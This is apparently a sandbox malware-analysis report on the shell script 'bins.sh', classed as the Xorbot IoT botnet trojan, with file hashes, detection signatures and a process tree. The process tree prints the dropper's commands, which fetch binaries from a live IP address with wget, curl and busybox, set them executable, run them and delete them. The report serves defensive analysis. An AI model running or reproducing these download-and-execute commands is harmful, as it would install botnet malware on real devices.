Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    12/12/2024, 07:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9ed9f3021c8dcb7e35e7c5b0d692edea

  • SHA1

    3ab0b7180b490607c695f4424e45c4c84041c2c7

  • SHA256

    60b72f62269d0f3e87ac09f6bcb81c16691c11c9e6a2c19859814332e6da4383

  • SHA512

    afa8f548d73c1acf1c647fccd1dae9b3c594e711b8d7c1f3515b38b27b03eeda4b8e4404f2f89f2b99ac7fcac7487c7cb8056d9275300c96726e5dc1c55b0220

  • SSDEEP

    192:QfrG49AA34EjbzR5Fn5w5lLqAA34E3F5Fn5w5lL2rS:QC49AA34Ejbz9AA34E3K

Score
10/10
xorbotbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:685
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:687
        • /usr/bin/wget
          wget http://216.126.231.164/bins/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          2⤵
          • Writes file to tmp directory
          PID:689
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:713
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          2⤵
          • Writes file to tmp directory
          PID:715
        • /bin/chmod
          chmod 777 rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          2⤵
          • File and Directory Permissions Modification
          PID:716
        • /tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          ./rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          2⤵
          • Executes dropped EXE
          PID:717
        • /bin/rm
          rm rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
          2⤵
            PID:719
          • /usr/bin/wget
            wget http://216.126.231.164/bins/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            2⤵
            • Writes file to tmp directory
            PID:720
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:721
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            2⤵
            • File and Directory Permissions Modification
            PID:729
          • /tmp/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            ./r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            2⤵
            • Executes dropped EXE
            PID:730
          • /bin/rm
            rm r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://216.126.231.164/bins/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              2⤵
              • Writes file to tmp directory
              PID:735
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              ./oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              2⤵
              • Executes dropped EXE
              PID:774
            • /bin/rm
              rm oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
              2⤵
                PID:777
              • /usr/bin/wget
                wget http://216.126.231.164/bins/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                2⤵
                • Writes file to tmp directory
                PID:778
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                2⤵
                • File and Directory Permissions Modification
                PID:815
              • /tmp/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                ./2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                2⤵
                • Executes dropped EXE
                PID:816
              • /bin/rm
                rm 2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                2⤵
                  PID:818
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  2⤵
                  • Writes file to tmp directory
                  PID:819
                • /usr/bin/curl
                  curl -O http://216.126.231.164/bins/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:820
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.164/bins/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /bin/chmod
                  chmod 777 HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:822
                • /tmp/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  ./HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  2⤵
                  • Executes dropped EXE
                  PID:823
                • /bin/rm
                  rm HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  2⤵
                    PID:825
                  • /usr/bin/wget
                    wget http://216.126.231.164/bins/kaADuFTFrrBOJv1x8nlAv3Pt4ghddOPhWf
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /usr/bin/curl
                    curl -O http://216.126.231.164/bins/kaADuFTFrrBOJv1x8nlAv3Pt4ghddOPhWf
                    2⤵
                    • Reads runtime system information
                    PID:827

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  Download Submit

                • /tmp/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                  Download Submit

                • /tmp/kaADuFTFrrBOJv1x8nlAv3Pt4ghddOPhWf
                  Filesize

                  151KB

                  MD5

                  3c90d5820bddcf7c5d1bd21dfa49d958

                  SHA1

                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                  SHA256

                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                  SHA512

                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                  Download Submit

                • /tmp/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
                  Filesize

                  127KB

                  MD5

                  89077b7bd4bcafca7713be43635c4862

                  SHA1

                  fc02edb8fba29ea8ee99e6157ef8560334530052

                  SHA256

                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                  SHA512

                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                  Download Submit

                • /tmp/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
                  Filesize

                  141KB

                  MD5

                  3ca8decdb1e52c423c521bfff02ac200

                  SHA1

                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                  SHA256

                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                  SHA512

                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                  Download Submit

                • /tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                  Download Submit